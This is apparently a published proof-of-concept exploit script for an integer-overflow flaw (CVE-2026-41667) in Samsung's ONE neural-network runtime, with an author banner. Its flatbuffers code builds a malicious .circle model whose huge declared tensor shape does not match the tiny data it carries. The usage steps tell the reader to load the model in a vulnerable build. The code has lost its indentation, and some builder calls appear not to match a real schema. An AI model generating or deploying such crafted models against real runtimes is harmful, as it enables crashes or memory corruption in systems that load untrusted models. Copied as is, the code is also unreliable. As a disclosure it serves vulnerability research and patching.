#!/usr/bin/env python3
# Exploit Title: Samsung ONE - Integer Overflow in CircleConst Tensor Size Calculation
# CVE: CVE-2026-41667
# Date: 2026-04-25
# Exploit Author: Mohammed Idrees Banyamer
# Author Country: Jordan
# Instagram: @banyamer_security
# Author GitHub: https://github.com/mbanyamer
# Vendor Homepage: https://github.com/Samsung/ONE
# Software Link: https://github.com/Samsung/ONE
# Affected: Samsung ONE prior to PR #16481 (before 1.30.0)
# Tested on: Samsung ONE (vulnerable build)
# Category: Local
# Platform: Linux
# Exploit Type: Proof of Concept - Malicious Model Generator
# CVSS: 6.6
# CWE : CWE-190
# Description: Generates a malicious .circle model that triggers integer overflow in num_elements * element_size calculation.
# Fixed in: https://github.com/Samsung/ONE/pull/16481
# Usage: python3 exploit.py
#
# Examples:
# python3 exploit.py
#
# Options: None (standalone generator)
#
# Notes: Requires flatc generated 'circle' module. Loads with luci-interpreter or ONE runtime.
#
# How to Use
#
# Step 1: Generate bindings with flatc --python circle.fbs
# Step 2: Run this script to create poc_cve_2026_41667.circle
# Step 3: Load the model in vulnerable ONE build
print(r"""
╔════════════════════════════════════════════════════════════════════════════════════════════╗
║ ║
║ ▄▄▄▄· ▄▄▄ . ▄▄ • ▄▄▄▄▄ ▄▄▄ ▄▄▄· ▄▄▄· ▄▄▄▄▄▄▄▄▄ .▄▄▄ ▄• ▄▌ ║
║ ▐█ ▀█▪▀▄.▀·▐█ ▀ ▪•██ ▪ ▀▄ █·▐█ ▀█ ▐█ ▄█•██ ▀▀▄.▀·▀▄ █·█▪██▌ ║
║ ▐█▀▀█▄▐▀▀▪▄▄█ ▀█ ▐█.▪ ▄█▀▄ ▐▀▀▄ ▄█▀▀█ ██▀· ▐█.▪▐▀▀▪▄▐▀▀▄ █▌▐█· ║
║ ██▄▪▐█▐█▄▄▌▐█▄▪▐█ ▐█▌·▐█▌.▐▌▐█•█▌▐█ ▪▐▌▐█▪·• ▐█▌·▐█▄▄▌▐█•█▌▐█▄█▌ ║
║ ·▀▀▀▀ ▀▀▀ ·▀▀▀▀ ▀▀▀ ▀█▄▀▪.▀ ▀ ▀ ▀ .▀ ▀▀▀ ▀▀▀ .▀ ▀ ▀▀▀ ║
║ ║
║ b a n y a m e r _ s e c u r i t y ║
║ ║
║ >>> Silent Hunter • Shadow Presence <<< ║
║ ║
║ Operator : Mohammed Idrees Banyamer Jordan 🇯🇴 ║
║ Handle : @banyamer_security ║
║ ║
║ CVE-2026-41667 • Samsung ONE Integer Overflow ║
║ ║
╚════════════════════════════════════════════════════════════════════════════════════════════╝
""")
import flatbuffers
import sys
import os
try:
import circle as c
except ImportError:
print("Error: 'circle' module not found.")
print("Generate it with: flatc --python compiler/luci/schema/circle.fbs")
print("Then copy the generated 'circle' folder here.")
sys.exit(1)
def create_poc_model(output_path="poc_cve_2026_41667.circle"):
builder = flatbuffers.Builder(1024 * 1024)
huge_shape = [1, 1, 1, 1 << 30]
c.ShapeStartDimsVector(builder, len(huge_shape))
for d in reversed(huge_shape):
builder.PrependInt32(d)
shape_dims = builder.EndVector()
shape = c.Shape.CreateShape(builder, shape_dims)
data_bytes = b'\x00' * 64
data_vec = builder.CreateByteVector(data_bytes)
c.CircleConstStart(builder)
c.CircleConstAddShape(builder, shape)
c.CircleConstAddDtype(builder, c.DataType.INT8)
c.CircleConstAddBuffer(builder, 0)
c.CircleConstAddValue(builder, data_vec)
const = c.CircleConstEnd(builder)
c.SubGraphStartTensorsVector(builder, 1)
builder.PrependUOffsetTRelative(const)
tensors = builder.EndVector()
c.SubGraphStartInputsVector(builder, 1)
builder.PrependInt32(0)
subgraph_inputs = builder.EndVector()
c.SubGraphStartOutputsVector(builder, 1)
builder.PrependInt32(0)
subgraph_outputs = builder.EndVector()
subgraph = c.SubGraphCreateSubGraph(builder, tensors=tensors, inputs=subgraph_inputs, outputs=subgraph_outputs, operators=None, name=b"main")
c.ModelStartSubgraphsVector(builder, 1)
builder.PrependUOffsetTRelative(subgraph)
subgraphs = builder.EndVector()
c.ModelStart(builder)
c.ModelAddVersion(builder, 1)
c.ModelAddSubgraphs(builder, subgraphs)
model = c.ModelEnd(builder)
builder.Finish(model)
buf = builder.Output()
with open(output_path, "wb") as f:
f.write(buf)
print(f"[+] PoC model created: {output_path}")
print(f" Shape: {huge_shape} → ~{1<<30} elements (INT8)")
print(f" Load with: ./luci-interpreter {output_path}")
if __name__ == "__main__":
create_poc_model()
